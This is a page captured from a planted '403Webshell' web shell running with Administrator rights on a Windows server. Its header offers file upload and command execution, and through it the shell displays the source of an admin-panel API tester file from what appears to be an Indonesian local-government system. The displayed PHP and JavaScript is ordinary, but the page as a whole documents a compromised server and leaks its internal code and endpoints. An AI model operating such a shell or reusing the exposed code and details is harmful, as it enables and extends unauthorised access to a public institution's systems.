403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/bpkd/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/bpkd/admin//api_tester.php
<?php
$page_title = 'API Tester';
require_once 'config/database.php';
require_once 'includes/init.php';
requireLogin();

// Include header
require_once 'includes/header.php';
?>

<style>
.api-tester-container {
    font-family: 'Courier New', monospace;
}

.request-panel, .response-panel {
    background: #f8f9fc;
    border-radius: 10px;
    padding: 20px;
    margin-bottom: 20px;
    border: 1px solid #e3e6f0;
}

.response-panel {
    background: #1e1e1e;
    color: #d4d4d4;
    min-height: 300px;
    position: relative;
}

.response-header {
    background: #2d2d2d;
    padding: 10px 15px;
    border-radius: 5px 5px 0 0;
    border-bottom: 1px solid #404040;
}

.response-body {
    padding: 15px;
    max-height: 500px;
    overflow: auto;
    font-size: 13px;
    line-height: 1.5;
}

.response-body pre {
    margin: 0;
    background: transparent;
    color: #d4d4d4;
    border: none;
    padding: 0;
    font-family: 'Courier New', monospace;
    white-space: pre-wrap;
    word-wrap: break-word;
}

.status-badge {
    display: inline-block;
    padding: 5px 10px;
    border-radius: 3px;
    font-weight: bold;
}

.status-success {
    background: #28a745;
    color: white;
}

.status-redirect {
    background: #ffc107;
    color: black;
}

.status-error {
    background: #dc3545;
    color: white;
}

.method-badge {
    display: inline-block;
    padding: 3px 8px;
    border-radius: 3px;
    font-weight: bold;
    font-size: 12px;
}

.method-GET { background: #61affe; color: white; }
.method-POST { background: #49cc90; color: white; }
.method-PUT { background: #fca130; color: white; }
.method-DELETE { background: #f93e3e; color: white; }

/* JSON Syntax Highlighting */
.json-key { color: #9cdcfe; font-weight: bold; }
.json-string { color: #ce9178; }
.json-number { color: #b5cea8; }
.json-boolean { color: #569cd6; }
.json-null { color: #569cd6; }

/* Loading Overlay */
.loading-overlay {
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    background: rgba(30, 30, 30, 0.9);
    display: none;
    justify-content: center;
    align-items: center;
    z-index: 1000;
    border-radius: 5px;
}

.loading-overlay.active {
    display: flex;
}

.loading-spinner {
    width: 50px;
    height: 50px;
    border: 5px solid rgba(255,255,255,.3);
    border-radius: 50%;
    border-top-color: white;
    animation: spin 1s ease-in-out infinite;
}

@keyframes spin {
    to { transform: rotate(360deg); }
}

/* Error Message */
.error-message {
    color: #f8d7da;
    background: #721c24;
    padding: 15px;
    border-radius: 5px;
    margin: 15px;
}

/* Success Message */
.success-message {
    color: #d4edda;
    background: #155724;
    padding: 15px;
    border-radius: 5px;
    margin: 15px;
}

/* Data Summary */
.data-summary {
    background: #2d2d2d;
    padding: 10px;
    border-radius: 5px;
    margin: 10px;
    color: #d4d4d4;
}

.data-summary .badge {
    font-size: 12px;
    padding: 5px 10px;
    margin-right: 5px;
}

/* Tabs */
.nav-tabs .nav-link {
    color: #d4d4d4;
    background: transparent;
    border: none;
    padding: 8px 15px;
}

.nav-tabs .nav-link:hover {
    color: white;
    background: #404040;
}

.nav-tabs .nav-link.active {
    color: white;
    background: #404040;
    border: none;
}

/* JSON Actions */
.json-actions {
    margin: 10px;
    padding: 10px;
    background: #2d2d2d;
    border-radius: 5px;
}

.json-actions .btn-sm {
    margin-right: 5px;
}

/* History Section */
.history-item {
    cursor: pointer;
    transition: all 0.3s;
}

.history-item:hover {
    background: #e8f0fe;
    transform: translateX(5px);
}

/* Responsive */
@media (max-width: 768px) {
    .request-panel .row > div {
        margin-bottom: 10px;
    }
}
</style>

<div class="container-fluid">
    <div class="d-sm-flex align-items-center justify-content-between mb-4">
        <h1 class="h3 mb-0 text-gray-800">
            <i class="fas fa-flask me-2"></i>API Tester
        </h1>
        <div>
            <button class="btn btn-success me-2" onclick="saveToCollection()">
                <i class="fas fa-save me-2"></i>Simpan ke Collection
            </button>
            <button class="btn btn-secondary" onclick="clearForm()">
                <i class="fas fa-trash me-2"></i>Clear
            </button>
        </div>
    </div>

    <!-- Request Panel -->
    <div class="request-panel">
        <div class="row mb-3">
            <div class="col-md-2">
                <select class="form-control" id="method">
                    <option value="GET">GET</option>
                    <option value="POST">POST</option>
                    <option value="PUT">PUT</option>
                    <option value="DELETE">DELETE</option>
                    <option value="PATCH">PATCH</option>
                    <option value="HEAD">HEAD</option>
                </select>
            </div>
            <div class="col-md-8">
                <input type="url" class="form-control" id="url" 
                       value="https://sakip.lumajangkab.go.id/api-sakip/api-katsakip" 
                       placeholder="https://api.example.com/endpoint">
            </div>
            <div class="col-md-2">
                <button class="btn btn-primary w-100" onclick="sendRequest()" id="sendBtn">
                    <i class="fas fa-paper-plane me-2"></i>Send
                </button>
            </div>
        </div>

        <!-- Advanced Options -->
        <div class="mb-3">
            <button class="btn btn-sm btn-link" type="button" onclick="toggleAdvanced()">
                <i class="fas fa-cog me-1"></i>Advanced Options
            </button>
        </div>

        <div id="advancedOptions" style="display: none;">
            <div class="row mb-3">
                <div class="col-md-3">
                    <label class="form-label">Timeout (seconds)</label>
                    <input type="number" class="form-control" id="timeout" value="30" min="1" max="300">
                </div>
                <div class="col-md-3">
                    <label class="form-label">&nbsp;</label>
                    <div class="form-check">
                        <input class="form-check-input" type="checkbox" id="followRedirects" checked>
                        <label class="form-check-label" for="followRedirects">
                            Follow Redirects
                        </label>
                    </div>
                </div>
                <div class="col-md-3">
                    <label class="form-label">&nbsp;</label>
                    <div class="form-check">
                        <input class="form-check-input" type="checkbox" id="verifySSL" checked>
                        <label class="form-check-label" for="verifySSL">
                            Verify SSL
                        </label>
                    </div>
                </div>
            </div>
        </div>

        <!-- Headers -->
        <div class="mb-3">
            <label class="form-label fw-bold">Headers</label>
            <textarea class="form-control" id="headers" rows="4" placeholder="Content-Type: application/json&#10;Authorization: Bearer token"></textarea>
            <small class="text-muted">Format: Nama: Value (satu per baris)</small>
        </div>

        <!-- Body -->
        <div class="mb-3" id="bodySection" style="display: none;">
            <label class="form-label fw-bold">Request Body</label>
            <textarea class="form-control" id="body" rows="6" placeholder="{\n  &quot;key&quot;: &quot;value&quot;\n}"></textarea>
            
            <!-- Quick Insert Buttons -->
            <div class="mt-2">
                <small class="text-muted me-2">Quick insert:</small>
                <button type="button" class="btn btn-sm btn-outline-secondary" onclick="insertJsonTemplate()">JSON</button>
                <button type="button" class="btn btn-sm btn-outline-secondary" onclick="insertXmlTemplate()">XML</button>
                <button type="button" class="btn btn-sm btn-outline-secondary" onclick="insertFormData()">Form Data</button>
            </div>
        </div>
    </div>

    <!-- Response Panel -->
    <div class="response-panel" id="responsePanel" style="display: none;">
        <div class="loading-overlay" id="loadingOverlay">
            <div class="loading-spinner"></div>
        </div>
        
        <div class="response-header d-flex justify-content-between align-items-center" id="responseHeader">
            <!-- Will be filled by JavaScript -->
        </div>

        <div id="responseContent">
            <!-- Will be filled by JavaScript -->
        </div>
    </div>

    <!-- History Section -->
    <div class="card shadow mt-4">
        <div class="card-header py-3">
            <h6 class="m-0 font-weight-bold text-white">
                <i class="fas fa-history me-2"></i>Recent Requests
            </h6>
        </div>
        <div class="card-body">
            <div class="table-responsive">
                <table class="table table-hover" id="historyTable">
                    <thead>
                        <tr>
                            <th>Method</th>
                            <th>URL</th>
                            <th>Time</th>
                            <th>Status</th>
                            <th>Action</th>
                        </tr>
                    </thead>
                    <tbody id="historyBody">
                        <!-- Will be filled by JavaScript -->
                    </tbody>
                </table>
            </div>
        </div>
    </div>
</div>

<script>
// =====================================================
// STATE MANAGEMENT
// =====================================================
let currentResponse = null;
let history = JSON.parse(localStorage.getItem('apiHistory') || '[]');

// Initialize
document.addEventListener('DOMContentLoaded', function() {
    updateMethodDisplay();
    displayHistory();
    loadLastRequest();
});

// =====================================================
// UI FUNCTIONS
// =====================================================

// Toggle advanced options
function toggleAdvanced() {
    const advanced = document.getElementById('advancedOptions');
    advanced.style.display = advanced.style.display === 'none' ? 'block' : 'none';
}

// Update method display (show/hide body section)
document.getElementById('method').addEventListener('change', updateMethodDisplay);
function updateMethodDisplay() {
    const method = document.getElementById('method').value;
    const bodySection = document.getElementById('bodySection');
    bodySection.style.display = ['POST', 'PUT', 'PATCH'].includes(method) ? 'block' : 'none';
}

// Insert templates
function insertJsonTemplate() {
    document.getElementById('body').value = JSON.stringify({
        key: "value",
        name: "John Doe",
        age: 30,
        active: true
    }, null, 2);
}

function insertXmlTemplate() {
    document.getElementById('body').value = '<?xml version="1.0" encoding="UTF-8"?>\n<root>\n    <key>value</key>\n    <name>John Doe</name>\n    <age>30</age>\n    <active>true</active>\n</root>';
}

function insertFormData() {
    document.getElementById('body').value = 'key1=value1&key2=value2&name=John+Doe';
}

// Clear form
function clearForm() {
    document.getElementById('url').value = '';
    document.getElementById('headers').value = '';
    document.getElementById('body').value = '';
    document.getElementById('method').value = 'GET';
    document.getElementById('responsePanel').style.display = 'none';
    updateMethodDisplay();
}

// =====================================================
// API REQUEST
// =====================================================

function sendRequest() {
    const url = document.getElementById('url').value.trim();
    if (!url) {
        alert('Masukkan URL terlebih dahulu!');
        return;
    }

    // Show loading
    document.getElementById('loadingOverlay').classList.add('active');
    document.getElementById('sendBtn').disabled = true;
    document.getElementById('sendBtn').innerHTML = '<span class="spinner-border spinner-border-sm me-2"></span>Sending...';

    // Get form data
    const method = document.getElementById('method').value;
    const timeout = document.getElementById('timeout').value;
    const followRedirects = document.getElementById('followRedirects').checked;
    const verifySSL = document.getElementById('verifySSL').checked;
    
    // Parse headers
    const headersText = document.getElementById('headers').value;
    const headers = {};
    headersText.split('\n').forEach(line => {
        line = line.trim();
        if (line && line.includes(':')) {
            const [key, value] = line.split(':');
            headers[key.trim()] = value.trim();
        }
    });
    
    const body = document.getElementById('body').value;

    // Send request to server via AJAX
    fetch('api_proxy.php', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({
            url: url,
            method: method,
            timeout: timeout,
            follow_redirects: followRedirects,
            verify_ssl: verifySSL,
            headers: headers,
            body: body
        })
    })
    .then(response => response.json())
    .then(data => {
        // Hide loading
        document.getElementById('loadingOverlay').classList.remove('active');
        document.getElementById('sendBtn').disabled = false;
        document.getElementById('sendBtn').innerHTML = '<i class="fas fa-paper-plane me-2"></i>Send';
        
        if (data.error) {
            showError(data.error);
        } else {
            currentResponse = data;
            displayResponse(data);
            addToHistory(url, method, data.status, data);
        }
    })
    .catch(error => {
        console.error('Error:', error);
        document.getElementById('loadingOverlay').classList.remove('active');
        document.getElementById('sendBtn').disabled = false;
        document.getElementById('sendBtn').innerHTML = '<i class="fas fa-paper-plane me-2"></i>Send';
        showError('Network error: ' + error.message);
    });
}

// =====================================================
// RESPONSE DISPLAY
// =====================================================

function displayResponse(data) {
    const panel = document.getElementById('responsePanel');
    panel.style.display = 'block';
    
    // Update header
    const header = document.getElementById('responseHeader');
    let statusClass = 'status-';
    if (data.status >= 200 && data.status < 300) statusClass += 'success';
    else if (data.status >= 300 && data.status < 400) statusClass += 'redirect';
    else statusClass += 'error';
    
    header.innerHTML = `
        <div>
            <span class="method-badge method-${data.method} me-2">${data.method}</span>
            <span class="text-light">${escapeHtml(data.url)}</span>
        </div>
        <div>
            <span class="status-badge ${statusClass} me-2">
                HTTP ${data.status} - ${data.status_message}
            </span>
            <span class="text-light">
                <i class="fas fa-clock me-1"></i>${data.execution_time.toFixed(3)}s
            </span>
        </div>
    `;
    
    // Update content
    const content = document.getElementById('responseContent');
    
    // Data summary if JSON
    let summaryHtml = '';
    if (data.is_json && data.json_data) {
        summaryHtml = '<div class="data-summary">';
        summaryHtml += '<strong><i class="fas fa-info-circle me-2"></i>Data Summary:</strong>';
        
        if (data.json_data.TotalData) {
            summaryHtml += `<span class="badge bg-primary ms-2">Total Data: ${data.json_data.TotalData}</span>`;
        }
        if (data.json_data.data && Array.isArray(data.json_data.data)) {
            summaryHtml += `<span class="badge bg-success ms-2">Items: ${data.json_data.data.length}</span>`;
            if (data.json_data.data.length > 0) {
                summaryHtml += `<span class="badge bg-info ms-2">Keys: ${Object.keys(data.json_data.data[0]).join(', ')}</span>`;
            }
        }
        summaryHtml += '</div>';
    }
    
    // Actions
    let actionsHtml = '';
    if (data.is_json && data.json_data) {
        actionsHtml = `
            <div class="json-actions">
                <button class="btn btn-sm btn-outline-light" onclick="viewAsTable()">
                    <i class="fas fa-table me-1"></i>Table View
                </button>
                <button class="btn btn-sm btn-outline-light" onclick="viewAsJson()">
                    <i class="fas fa-code me-1"></i>JSON View
                </button>
                <button class="btn btn-sm btn-outline-light" onclick="copyResponse()">
                    <i class="fas fa-copy me-1"></i>Copy
                </button>
                <button class="btn btn-sm btn-outline-light" onclick="exportCsv()">
                    <i class="fas fa-file-csv me-1"></i>Export CSV
                </button>
            </div>
        `;
    }
    
    // Tabs
    let tabsHtml = `
        <ul class="nav nav-tabs mt-2" id="responseTabs" role="tablist">
            <li class="nav-item" role="presentation">
                <button class="nav-link active" id="body-tab" data-bs-toggle="tab" data-bs-target="#body" type="button" role="tab">Response Body</button>
            </li>
            <li class="nav-item" role="presentation">
                <button class="nav-link" id="headers-tab" data-bs-toggle="tab" data-bs-target="#headers" type="button" role="tab">Response Headers</button>
            </li>
            <li class="nav-item" role="presentation">
                <button class="nav-link" id="raw-tab" data-bs-toggle="tab" data-bs-target="#raw" type="button" role="tab">Raw</button>
            </li>
    `;
    
    if (data.is_json && data.json_data && data.json_data.data) {
        tabsHtml += `
            <li class="nav-item" role="presentation">
                <button class="nav-link" id="table-tab" data-bs-toggle="tab" data-bs-target="#table" type="button" role="tab">Table View</button>
            </li>
        `;
    }
    tabsHtml += '</ul>';
    
    // Tab content
    let tabContentHtml = `
        <div class="tab-content" id="responseTabsContent">
            <div class="tab-pane fade show active" id="body" role="tabpanel">
                <div class="response-body">
                    <pre id="formattedResponse" class="json-display">${escapeHtml(data.body_formatted || data.body)}</pre>
                </div>
            </div>
            <div class="tab-pane fade" id="headers" role="tabpanel">
                <div class="response-body">
                    <pre>${escapeHtml(data.headers)}</pre>
                </div>
            </div>
            <div class="tab-pane fade" id="raw" role="tabpanel">
                <div class="response-body">
                    <pre>${escapeHtml(data.raw)}</pre>
                </div>
            </div>
    `;
    
    // Table view if JSON data
    if (data.is_json && data.json_data && data.json_data.data) {
        let tableHtml = '<table class="json-table"><thead><tr>';
        if (data.json_data.data.length > 0) {
            Object.keys(data.json_data.data[0]).forEach(key => {
                tableHtml += `<th>${escapeHtml(key)}</th>`;
            });
        }
        tableHtml += '</tr></thead><tbody>';
        
        data.json_data.data.forEach(row => {
            tableHtml += '<tr>';
            Object.values(row).forEach(value => {
                tableHtml += `<td>${escapeHtml(value)}</td>`;
            });
            tableHtml += '</tr>';
        });
        tableHtml += '</tbody></table>';
        
        tabContentHtml += `
            <div class="tab-pane fade" id="table" role="tabpanel">
                <div class="response-body" style="background: white;">
                    ${tableHtml}
                </div>
            </div>
        `;
    }
    
    tabContentHtml += '</div>';
    
    content.innerHTML = summaryHtml + actionsHtml + tabsHtml + tabContentHtml;
}

function showError(message) {
    const panel = document.getElementById('responsePanel');
    panel.style.display = 'block';
    
    document.getElementById('responseHeader').innerHTML = '';
    document.getElementById('responseContent').innerHTML = `
        <div class="error-message">
            <i class="fas fa-exclamation-triangle me-2"></i>${escapeHtml(message)}
        </div>
    `;
}

function showSuccess(message) {
    const panel = document.getElementById('responsePanel');
    panel.style.display = 'block';
    
    document.getElementById('responseHeader').innerHTML = '';
    document.getElementById('responseContent').innerHTML = `
        <div class="success-message">
            <i class="fas fa-check-circle me-2"></i>${escapeHtml(message)}
        </div>
    `;
}

// =====================================================
// HISTORY MANAGEMENT
// =====================================================

function addToHistory(url, method, status, data) {
    history.unshift({
        url: url,
        method: method,
        status: status,
        data: data,
        time: new Date().toISOString()
    });
    
    // Keep only last 10 items
    if (history.length > 10) {
        history.pop();
    }
    
    localStorage.setItem('apiHistory', JSON.stringify(history));
    displayHistory();
}

function displayHistory() {
    const tbody = document.getElementById('historyBody');
    if (!tbody) return;
    
    if (history.length === 0) {
        tbody.innerHTML = '<tr><td colspan="5" class="text-center text-muted py-3"><i class="fas fa-history me-2"></i>Belum ada history</td></tr>';
        return;
    }
    
    let html = '';
    history.forEach((item, index) => {
        let statusClass = 'badge bg-';
        if (item.status >= 200 && item.status < 300) statusClass += 'success';
        else if (item.status >= 300 && item.status < 400) statusClass += 'warning';
        else statusClass += 'danger';
        
        html += `
            <tr class="history-item" onclick="loadFromHistory(${index})">
                <td><span class="method-badge method-${item.method}">${item.method}</span></td>
                <td>${escapeHtml(item.url.substring(0, 50))}${item.url.length > 50 ? '...' : ''}</td>
                <td>${new Date(item.time).toLocaleTimeString()}</td>
                <td><span class="${statusClass}">${item.status}</span></td>
                <td>
                    <button class="btn btn-sm btn-info" onclick="event.stopPropagation(); loadFromHistory(${index})">
                        <i class="fas fa-redo"></i>
                    </button>
                </td>
            </tr>
        `;
    });
    
    tbody.innerHTML = html;
}

function loadFromHistory(index) {
    const item = history[index];
    if (!item) return;
    
    document.getElementById('url').value = item.url;
    document.getElementById('method').value = item.method;
    
    if (item.data) {
        currentResponse = item.data;
        displayResponse(item.data);
    }
}

function loadLastRequest() {
    if (history.length > 0) {
        loadFromHistory(0);
    }
}

// =====================================================
// UTILITY FUNCTIONS
// =====================================================

function escapeHtml(text) {
    if (!text) return '';
    const div = document.createElement('div');
    div.textContent = text;
    return div.innerHTML;
}

function copyResponse() {
    if (!currentResponse) return;
    
    let textToCopy = currentResponse.body_formatted || currentResponse.body;
    navigator.clipboard.writeText(textToCopy).then(() => {
        alert('Response copied to clipboard!');
    });
}

function exportCsv() {
    if (!currentResponse || !currentResponse.json_data || !currentResponse.json_data.data) {
        alert('No table data to export');
        return;
    }
    
    const data = currentResponse.json_data.data;
    if (data.length === 0) return;
    
    const headers = Object.keys(data[0]);
    let csv = headers.join(',') + '\n';
    
    data.forEach(row => {
        const values = headers.map(h => {
            let val = row[h] || '';
            if (typeof val === 'string' && val.includes(',')) {
                val = '"' + val.replace(/"/g, '""') + '"';
            }
            return val;
        });
        csv += values.join(',') + '\n';
    });
    
    const blob = new Blob([csv], { type: 'text/csv' });
    const url = window.URL.createObjectURL(blob);
    const a = document.createElement('a');
    a.href = url;
    a.download = 'api-data.csv';
    a.click();
    window.URL.revokeObjectURL(url);
}

function saveToCollection() {
    const url = document.getElementById('url').value;
    const method = document.getElementById('method').value;
    const headers = document.getElementById('headers').value;
    const body = document.getElementById('body').value;
    
    const collection = JSON.parse(localStorage.getItem('apiCollection') || '[]');
    collection.push({
        url,
        method,
        headers,
        body,
        time: new Date().toISOString()
    });
    localStorage.setItem('apiCollection', JSON.stringify(collection));
    
    showSuccess('Request saved to collection!');
}

function viewAsTable() {
    document.querySelector('[data-bs-target="#table"]').click();
}

function viewAsJson() {
    document.querySelector('[data-bs-target="#body"]').click();
}
</script>

<?php
require_once 'includes/footer.php';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit